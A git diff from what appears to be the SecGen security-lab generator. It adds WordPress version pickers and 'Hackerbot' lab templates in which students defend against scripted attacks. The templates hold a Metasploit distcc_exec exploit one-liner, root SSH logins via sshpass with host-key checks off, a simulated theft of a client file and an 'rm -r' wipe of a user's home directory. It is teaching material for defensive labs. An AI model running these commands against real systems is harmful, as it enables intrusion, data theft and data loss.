b/modules/generators/compression/zip/secgen_local/local.rb @@ -3,7 +3,7 @@ require_relative '../../../../../lib/objects/local_string_encoder.rb' require 'rubygems' require 'zip' -class ZipFileGenerator < StringEncoder +class ZipGenerator < StringEncoder attr_accessor :file_name attr_accessor :strings_to_leak attr_accessor :password @@ -64,4 +64,4 @@ class ZipFileGenerator < StringEncoder end end -ZipFileGenerator.new.run \ No newline at end of file +ZipGenerator.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_1x/manifests/.no_puppet b/modules/generators/random/random_wordpress_1x/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_1x/random_wordpress_1x.pp b/modules/generators/random/random_wordpress_1x/random_wordpress_1x.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_1x/secgen_local/local.rb b/modules/generators/random/random_wordpress_1x/secgen_local/local.rb new file mode 100644 index 000000000..f91dc5619 --- /dev/null +++ b/modules/generators/random/random_wordpress_1x/secgen_local/local.rb @@ -0,0 +1,18 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class RandomWordpressVersion < StringGenerator + def initialize + super + self.module_name = 'Random Wordpress Version Generator' + end + + def generate + one = ['1.5.2', '1.5.1.3', '1.5.1.2', '1.5.1.1', '1.5.1'] + versions = one + + outputs << versions.sample.chomp + end +end + +RandomWordpressVersion.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_1x/secgen_metadata.xml b/modules/generators/random/random_wordpress_1x/secgen_metadata.xml new file mode 100644 index 000000000..c009e6337 --- /dev/null +++ b/modules/generators/random/random_wordpress_1x/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Random Wordpress 1x Version Generator + Thomas Shaw + MIT + Selects the version number of a random compatible WordPress version. + + wordpress_version + string_generator + local_calculation + linux + windows + + https://wordpress.org + + generated_strings + \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_2x/manifests/.no_puppet b/modules/generators/random/random_wordpress_2x/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_2x/random_wordpress_2x.pp b/modules/generators/random/random_wordpress_2x/random_wordpress_2x.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_2x/secgen_local/local.rb b/modules/generators/random/random_wordpress_2x/secgen_local/local.rb new file mode 100644 index 000000000..8df904536 --- /dev/null +++ b/modules/generators/random/random_wordpress_2x/secgen_local/local.rb @@ -0,0 +1,18 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class RandomWordpressVersion < StringGenerator + def initialize + super + self.module_name = 'Random Wordpress Version Generator' + end + + def generate + two = ['2.9.2', '2.9.1', '2.9', '2.8.6', '2.8.5', '2.8.4', '2.8.3', '2.8.2', '2.8.1', '2.8', '2.7.1', '2.7', '2.6.5', '2.6.3', '2.6.2', '2.6.1', '2.6', '2.5.1', '2.5', '2.3.3', '2.3.2', '2.3.1', '2.3', '2.2.3', '2.2.2', '2.2.1', '2.2', '2.1.3', '2.1.2', '2.1.1', '2.1', '2.0.11', '2.0.10', '2.0.9', '2.0.8', '2.0.7', '2.0.6', '2.0.5', '2.0.4', '2.0.1', '2.0'] + versions = two + + outputs << versions.sample.chomp + end +end + +RandomWordpressVersion.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_2x/secgen_metadata.xml b/modules/generators/random/random_wordpress_2x/secgen_metadata.xml new file mode 100644 index 000000000..fbdfa21bb --- /dev/null +++ b/modules/generators/random/random_wordpress_2x/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Random Wordpress 2x Version Generator + Thomas Shaw + MIT + Selects the version number of a random compatible WordPress version. + + wordpress_version + string_generator + local_calculation + linux + windows + + https://wordpress.org + + generated_strings + \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_3x/manifests/.no_puppet b/modules/generators/random/random_wordpress_3x/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_3x/random_wordpress_3x.pp b/modules/generators/random/random_wordpress_3x/random_wordpress_3x.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_3x/secgen_local/local.rb b/modules/generators/random/random_wordpress_3x/secgen_local/local.rb new file mode 100644 index 000000000..f28e7afb2 --- /dev/null +++ b/modules/generators/random/random_wordpress_3x/secgen_local/local.rb @@ -0,0 +1,17 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class RandomWordpressVersion < StringGenerator + def initialize + super + self.module_name = 'Random Wordpress Version Generator' + end + + def generate + three = ['3.9.23', '3.9.22', '3.9.21', '3.9.20', '3.9.19', '3.9.18', '3.9.17', '3.9.16', '3.9.15', '3.9.14', '3.9.13', '3.9.12', '3.9.11', '3.9.10', '3.9.9', '3.9.8', '3.9.7', '3.9.6', '3.9.5', '3.9.4', '3.9.3', '3.9.2', '3.9.1', '3.9', '3.8.25', '3.8.24', '3.8.23', '3.8.22', '3.8.21', '3.8.20', '3.8.19', '3.8.18', '3.8.17', '3.8.16', '3.8.15', '3.8.14', '3.8.13', '3.8.12', '3.8.11', '3.8.10', '3.8.9', '3.8.8', '3.8.7', '3.8.6', '3.8.5', '3.8.4', '3.8.3', '3.8.2', '3.8.1', '3.8', '3.7.25', '3.7.24', '3.7.23', '3.7.22', '3.7.21', '3.7.20', '3.7.19', '3.7.18', '3.7.17', '3.7.16', '3.7.15', '3.7.14', '3.7.13', '3.7.12', '3.7.11', '3.7.10', '3.7.9', '3.7.8', '3.7.7', '3.7.6', '3.7.5', '3.7.4', '3.7.3', '3.7.2', '3.7.1', '3.7', '3.6.1', '3.6', '3.5.2', '3.5.1', '3.5', '3.4.2', '3.4.1', '3.4', '3.3.3', '3.3.2', '3.3.1', '3.3', '3.2.1', '3.2', '3.1.4', '3.1.3', '3.1.2', '3.1.1', '3.1', '3.0.6', '3.0.5', '3.0.4', '3.0.3', '3.0.2', '3.0.1', '3.0'] + + outputs << three.sample.chomp + end +end + +RandomWordpressVersion.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_3x/secgen_metadata.xml b/modules/generators/random/random_wordpress_3x/secgen_metadata.xml new file mode 100644 index 000000000..bf9c0d33c --- /dev/null +++ b/modules/generators/random/random_wordpress_3x/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Random Wordpress 3x Version Generator + Thomas Shaw + MIT + Selects the version number of a random compatible WordPress version. + + wordpress_version + string_generator + local_calculation + linux + windows + + https://wordpress.org + + generated_strings + \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_4x/manifests/.no_puppet b/modules/generators/random/random_wordpress_4x/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_4x/random_wordpress_4x.pp b/modules/generators/random/random_wordpress_4x/random_wordpress_4x.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_4x/secgen_local/local.rb b/modules/generators/random/random_wordpress_4x/secgen_local/local.rb new file mode 100644 index 000000000..5920d4372 --- /dev/null +++ b/modules/generators/random/random_wordpress_4x/secgen_local/local.rb @@ -0,0 +1,18 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class RandomWordpressVersion < StringGenerator + def initialize + super + self.module_name = 'Random Wordpress Version Generator' + end + + def generate + four = ['4.9.4', '4.9.3', '4.9.2', '4.9.1', '4.9', '4.8.5', '4.8.4', '4.8.3', '4.8.2', '4.8.1', '4.8', '4.7.9', '4.7.8', '4.7.7', '4.7.6', '4.7.5', '4.7.4', '4.7.3', '4.7.2', '4.7.1', '4.7', '4.6.10', '4.6.9', '4.6.8', '4.6.7', '4.6.6', '4.6.5', '4.6.4', '4.6.3', '4.6.2', '4.6.1', '4.6', '4.5.13', '4.5.12', '4.5.11', '4.5.10', '4.5.9', '4.5.8', '4.5.7', '4.5.6', '4.5.5', '4.5.4', '4.5.3', '4.5.2', '4.5.1', '4.5', '4.4.14', '4.4.13', '4.4.12', '4.4.11', '4.4.10', '4.4.9', '4.4.8', '4.4.7', '4.4.6', '4.4.5', '4.4.4', '4.4.3', '4.4.2', '4.4.1', '4.4', '4.3.15', '4.3.14', '4.3.13', '4.3.12', '4.3.11', '4.3.10', '4.3.9', '4.3.8', '4.3.7', '4.3.6', '4.3.5', '4.3.4', '4.3.3', '4.3.2', '4.3.1', '4.3', '4.2.19', '4.2.18', '4.2.17', '4.2.16', '4.2.15', '4.2.14', '4.2.13', '4.2.12', '4.2.11', '4.2.10', '4.2.9', '4.2.8', '4.2.7', '4.2.6', '4.2.5', '4.2.4', '4.2.3', '4.2.2', '4.2.1', '4.2', '4.1.22', '4.1.21', '4.1.20', '4.1.19', '4.1.18', '4.1.17', '4.1.16', '4.1.15', '4.1.14', '4.1.13', '4.1.12', '4.1.11', '4.1.10', '4.1.9', '4.1.8', '4.1.7', '4.1.6', '4.1.5', '4.1.4', '4.1.3', '4.1.2', '4.1.1', '4.1', '4.0.22', '4.0.21', '4.0.20', '4.0.19', '4.0.18', '4.0.17', '4.0.16', '4.0.15', '4.0.14', '4.0.13', '4.0.12', '4.0.11', '4.0.10', '4.0.9', '4.0.8', '4.0.7', '4.0.6', '4.0.5', '4.0.4', '4.0.3', '4.0.2', '4.0.1', '4.0'] + versions = four + + outputs << versions.sample.chomp + end +end + +RandomWordpressVersion.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_4x/secgen_metadata.xml b/modules/generators/random/random_wordpress_4x/secgen_metadata.xml new file mode 100644 index 000000000..849254890 --- /dev/null +++ b/modules/generators/random/random_wordpress_4x/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Random Wordpress 4x Version Generator + Thomas Shaw + MIT + Selects the version number of a random compatible WordPress version. + + wordpress_version + string_generator + local_calculation + linux + windows + + https://wordpress.org + + generated_strings + \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_version/manifests/.no_puppet b/modules/generators/random/random_wordpress_version/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_version/random_wordpress_version.pp b/modules/generators/random/random_wordpress_version/random_wordpress_version.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/random/random_wordpress_version/secgen_local/local.rb b/modules/generators/random/random_wordpress_version/secgen_local/local.rb new file mode 100644 index 000000000..935b5d161 --- /dev/null +++ b/modules/generators/random/random_wordpress_version/secgen_local/local.rb @@ -0,0 +1,21 @@ +#!/usr/bin/ruby +require_relative '../../../../../lib/objects/local_string_generator.rb' + +class RandomWordpressVersion < StringGenerator + def initialize + super + self.module_name = 'Random Wordpress Version Generator' + end + + def generate + one = ['1.5.2', '1.5.1.3', '1.5.1.2', '1.5.1.1', '1.5.1'] + two = ['2.9.2', '2.9.1', '2.9', '2.8.6', '2.8.5', '2.8.4', '2.8.3', '2.8.2', '2.8.1', '2.8', '2.7.1', '2.7', '2.6.5', '2.6.3', '2.6.2', '2.6.1', '2.6', '2.5.1', '2.5', '2.3.3', '2.3.2', '2.3.1', '2.3', '2.2.3', '2.2.2', '2.2.1', '2.2', '2.1.3', '2.1.2', '2.1.1', '2.1', '2.0.11', '2.0.10', '2.0.9', '2.0.8', '2.0.7', '2.0.6', '2.0.5', '2.0.4', '2.0.1', '2.0'] + three = ['3.9.23', '3.9.22', '3.9.21', '3.9.20', '3.9.19', '3.9.18', '3.9.17', '3.9.16', '3.9.15', '3.9.14', '3.9.13', '3.9.12', '3.9.11', '3.9.10', '3.9.9', '3.9.8', '3.9.7', '3.9.6', '3.9.5', '3.9.4', '3.9.3', '3.9.2', '3.9.1', '3.9', '3.8.25', '3.8.24', '3.8.23', '3.8.22', '3.8.21', '3.8.20', '3.8.19', '3.8.18', '3.8.17', '3.8.16', '3.8.15', '3.8.14', '3.8.13', '3.8.12', '3.8.11', '3.8.10', '3.8.9', '3.8.8', '3.8.7', '3.8.6', '3.8.5', '3.8.4', '3.8.3', '3.8.2', '3.8.1', '3.8', '3.7.25', '3.7.24', '3.7.23', '3.7.22', '3.7.21', '3.7.20', '3.7.19', '3.7.18', '3.7.17', '3.7.16', '3.7.15', '3.7.14', '3.7.13', '3.7.12', '3.7.11', '3.7.10', '3.7.9', '3.7.8', '3.7.7', '3.7.6', '3.7.5', '3.7.4', '3.7.3', '3.7.2', '3.7.1', '3.7', '3.6.1', '3.6', '3.5.2', '3.5.1', '3.5', '3.4.2', '3.4.1', '3.4', '3.3.3', '3.3.2', '3.3.1', '3.3', '3.2.1', '3.2', '3.1.4', '3.1.3', '3.1.2', '3.1.1', '3.1', '3.0.6', '3.0.5', '3.0.4', '3.0.3', '3.0.2', '3.0.1', '3.0'] + four = ['4.9.4', '4.9.3', '4.9.2', '4.9.1', '4.9', '4.8.5', '4.8.4', '4.8.3', '4.8.2', '4.8.1', '4.8', '4.7.9', '4.7.8', '4.7.7', '4.7.6', '4.7.5', '4.7.4', '4.7.3', '4.7.2', '4.7.1', '4.7', '4.6.10', '4.6.9', '4.6.8', '4.6.7', '4.6.6', '4.6.5', '4.6.4', '4.6.3', '4.6.2', '4.6.1', '4.6', '4.5.13', '4.5.12', '4.5.11', '4.5.10', '4.5.9', '4.5.8', '4.5.7', '4.5.6', '4.5.5', '4.5.4', '4.5.3', '4.5.2', '4.5.1', '4.5', '4.4.14', '4.4.13', '4.4.12', '4.4.11', '4.4.10', '4.4.9', '4.4.8', '4.4.7', '4.4.6', '4.4.5', '4.4.4', '4.4.3', '4.4.2', '4.4.1', '4.4', '4.3.15', '4.3.14', '4.3.13', '4.3.12', '4.3.11', '4.3.10', '4.3.9', '4.3.8', '4.3.7', '4.3.6', '4.3.5', '4.3.4', '4.3.3', '4.3.2', '4.3.1', '4.3', '4.2.19', '4.2.18', '4.2.17', '4.2.16', '4.2.15', '4.2.14', '4.2.13', '4.2.12', '4.2.11', '4.2.10', '4.2.9', '4.2.8', '4.2.7', '4.2.6', '4.2.5', '4.2.4', '4.2.3', '4.2.2', '4.2.1', '4.2', '4.1.22', '4.1.21', '4.1.20', '4.1.19', '4.1.18', '4.1.17', '4.1.16', '4.1.15', '4.1.14', '4.1.13', '4.1.12', '4.1.11', '4.1.10', '4.1.9', '4.1.8', '4.1.7', '4.1.6', '4.1.5', '4.1.4', '4.1.3', '4.1.2', '4.1.1', '4.1', '4.0.22', '4.0.21', '4.0.20', '4.0.19', '4.0.18', '4.0.17', '4.0.16', '4.0.15', '4.0.14', '4.0.13', '4.0.12', '4.0.11', '4.0.10', '4.0.9', '4.0.8', '4.0.7', '4.0.6', '4.0.5', '4.0.4', '4.0.3', '4.0.2', '4.0.1', '4.0'] + versions = one + two + three + four + + outputs << versions.sample.chomp + end +end + +RandomWordpressVersion.new.run \ No newline at end of file diff --git a/modules/generators/random/random_wordpress_version/secgen_metadata.xml b/modules/generators/random/random_wordpress_version/secgen_metadata.xml new file mode 100644 index 000000000..927500e86 --- /dev/null +++ b/modules/generators/random/random_wordpress_version/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Random Wordpress Version Generator + Thomas Shaw + MIT + Selects the version number of a random compatible WordPress version. + + wordpress_version + string_generator + local_calculation + linux + windows + + https://wordpress.org + + generated_strings + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/hacker_vs_hackerbot_1and2.pp b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/hacker_vs_hackerbot_1and2.pp new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/manifests/.no_puppet new file mode 100644 index 000000000..e69de29bb diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb new file mode 100644 index 000000000..22f12019d --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_local/local.rb @@ -0,0 +1,55 @@ +#!/usr/bin/ruby +require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb' + +class IDS < HackerbotConfigGenerator + + attr_accessor :backup_server_ip + attr_accessor :ids_server_ip + attr_accessor :web_server_ip + attr_accessor :desktop_ip + attr_accessor :hackerbot_server_ip + + def initialize + super + self.module_name = 'Hackerbot Config Generator HvHB1' + self.title = 'HvHB1' + + self.local_dir = File.expand_path('../../',__FILE__) + self.templates_path = "#{self.local_dir}/templates/" + self.config_template_path = "#{self.local_dir}/templates/lab.xml.erb" + self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb" + + self.backup_server_ip = [] + self.web_server_ip = [] + self.ids_server_ip = [] + self.desktop_ip = [] + self.hackerbot_server_ip = [] + end + + def get_options_array + super + [['--backup_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--desktop_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--ids_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--web_server_ip', GetoptLong::REQUIRED_ARGUMENT], + ['--hackerbot_server_ip', GetoptLong::REQUIRED_ARGUMENT]] + end + + def process_options(opt, arg) + super + case opt + when '--backup_server_ip' + self.backup_server_ip << arg; + when '--ids_server_ip' + self.ids_server_ip << arg; + when '--web_server_ip' + self.web_server_ip << arg; + when '--desktop_ip' + self.desktop_ip << arg; + when '--hackerbot_server_ip' + self.desktop_ip << arg; + end + end + +end + +IDS.new.run \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml new file mode 100644 index 000000000..34d2054ba --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/secgen_metadata.xml @@ -0,0 +1,49 @@ + + + + Hackerbot config for a test covering all the hackerbot labs + Z. Cliffe Schreuders + GPLv3 + Generates a config file for a hackerbot for a lab test.. + + hackerbot_config + linux + + accounts + flags + root_password + backup_server_ip + desktop_ip + hackerbot_server_ip + + + + + vagrant + + + + + + + + + + + + + + + + + + + + puppet + + + hackerbot + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb new file mode 100644 index 000000000..72dab611a --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/labsheet.html.erb @@ -0,0 +1,29 @@ + + + <%= self.title %> + + + + + +
+ + <%= self.html_rendered %> + +
+ + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb new file mode 100644 index 000000000..8e89ace31 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/shared/license.md.erb @@ -0,0 +1,4 @@ +## License +This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB). + +Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version. diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb new file mode 100644 index 000000000..4299c9186 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_attack1.xml.erb @@ -0,0 +1,23 @@ + + +<% $file = SecureRandom.hex(2) %> + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + Use scp to copy the desktop /bin/ directory to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-bin-backup-<%= $file %>/, which should then include the backed up bin/ directory. + + ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/ls /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/mkdir > /dev/null; echo $? + + No such file or directory + :( You didn't copy to the remote /home/<%= $main_user %>/remote-bin-backup-<%= $file %>/bin/... Remember that the trailing / changes whether you are copying directories or their contents... + + + 0 + :) Well done! <%= $flags.pop %> + true + + + :( Something was not right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb new file mode 100644 index 000000000..f05ae45bf --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/backups_rsync_steps_attacks.xml.erb @@ -0,0 +1,115 @@ + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + It's your job to set up remote backups for <%= $second_user %> (a user on your system). Use rsync to create a full (epoch) remote backup of /home/<%= $second_user %> from your desktop system to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>. + + ls /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/<%= $files.sample %> > /dev/null; echo $? + + 0 + :) Well done! <%= $flags.pop %> + true + + + No such file or directory + :( You didn't copy to remote ssh /home/<%= $main_user %>/remote-rsync-full-backup/<%= $second_user %>/ Remember that the trailing / changes whether you are copying directories or their contents... + + + :( Doesn't look like you have backed up all of <%= $second_user %>'s files to /home/<%= $main_user %>/remote-rsync-backup/<%= $second_user %>. Try SSHing to the server and look at what you have backed up there. + + + + +<% $first_notes = SecureRandom.hex(2) %> +<% $hidden_flag = 'not_a_flag' %> + + + The <%= $second_user %> user is about to create some files... + + sudo -u <%= $second_user %> bash -c 'echo "Note to self: drink more water <%= $first_notes %>" > /home/<%= $second_user %>/notes; echo "Beep boop beep" > /home/<%= $second_user %>/logs/log2; echo <%= $hidden_flag %> > /home/<%= $second_user %>/personal_secrets/flag; echo $?' + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %> failed to write the files... The user needs to be able to write to their files! + + + 0 + Ok, good... + true + + + :( Something went wrong... + + + + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $backup_server_ip %> /bin/bash + + + Create a differential backup of <%= $second_user %>'s desktop files to the backup_server: <%= $backup_server_ip %>:/home/<%= $main_user %>/remote-rsync-differential1/. + + + + grep '<%= $hidden_flag %>' /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/personal_secrets/flag > /dev/null; status1=$?; ls /home/<%= $main_user %>/remote-rsync-differential1/<%= $second_user %>/<%= $files.sample %> > /dev/null; status2=$?; echo $status1$status2 + + 0[1-9] + :) Well done! <%= $flags.pop %> + true + + + [1-9][1-9] + :( You didn't backup to the specified remote directory. + + + 00 + :( You backed up to the correct location, but it wasn't an differential backup... You probably need to ssh in and delete that last backup and try again. + + + :( Something went wrong... + + + + + + + + I am going to attack you now! + + rm -r /home/<%= $second_user %>/*; echo $? + + Permission denied|Operation not permitted|Read-only + :( Oh no. Access errors. <%= $second_user %>. You need to let this happen! + + + 0 + I just deleted all <%= $second_user %>'s files! They don't call me Hackerbot for nothin'! + true + + + :( Something went wrong... + + + + + + + + + Restore <%= $second_user %>'s notes file to it's earliest state + + grep '<%= $first_notes %>' /home/<%= $second_user %>/notes > /dev/null; status1=$?; echo $status1 + + 0 + :) Well done! <%= $flags.pop %> + true + + + [0-9] + :( That's not the earliest state... + + + :( Something went wrong... + + \ No newline at end of file diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb new file mode 100644 index 000000000..8c58d3cab --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_1.xml.erb @@ -0,0 +1,48 @@ + + +<% $rand_alert0 = SecureRandom.hex(3) + $rand_tmp_restingplace = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert0 %>.*".*content:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert0 %>". (This attack may take a while.) + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing content matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb new file mode 100644 index 000000000..b79ba4cfc --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/exfiltration_rule_2.xml.erb @@ -0,0 +1,46 @@ + +<% $rand_alert2 = SecureRandom.hex(3) + $rand_tmp_restingplace_fake = "/tmp/#{SecureRandom.hex(3)}" %> + + + sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>fake_clients.csv <%= $rand_tmp_restingplace_fake %>; chmod 644 <%= $rand_tmp_restingplace_fake %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$? + + msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit" + + cat <%= $rand_tmp_restingplace_fake %>; echo --$? + + sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/my.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert2 %>.*".*pcre:"' /tmp/snort_rules >/dev/null; echo good_rule:$? + + + You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv and another in fake_clients.csv Create a rule that matches either file. Use REGEXP so that your rule doesn't include any of the actual data. Use one or more Snort rules to detect unencrypted transport of either of the files. The alert must include the message "<%= $rand_alert2 %>". + + + good_rule:1 + :( Couldn't find your snort rule on the IDS server in /etc/snort/rules/my.rules. You are missing *regular expression* matching or the message from your rule. + + + triggered:1 + :( Your rule wasn't triggered. + + + triggered:0.*good_rule:0 + :) Well done! <%= $flags.pop %>. + + + + --1 + :( Failed to scp to the ids server (<%= $ids_server_ip %>) + + + -1 + :( Failed to ssh to the web server (<%= $web_server_ip %>) + + + --0 + Continuing... + + + :( Something was not quite right... + + + diff --git a/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb new file mode 100644 index 000000000..37fdb90c4 --- /dev/null +++ b/modules/generators/structured_content/hackerbot_config/hacker_vs_hackerbot_1and2/templates/file_perms_attack_1.xml.erb @@ -0,0 +1,19 @@ + +<% $file = SecureRandom.hex(2) %> + An attempt to write /tmp/<%= $file %> is coming from user <%= $second_user %>. Stop the attack by creating the file without permission for other users to write to the file. + + sudo -u <%= $second_user %> bash -c 'echo boom > /tmp/<%= $file %>'; echo $? + + Permission denied + :) Well done! <%= $flags.pop %> + true + + + 0 + :( We managed to write to your file! You need to use access controls to protect the file. Create a new file. + + + :( Something was not right... + + + diff --git 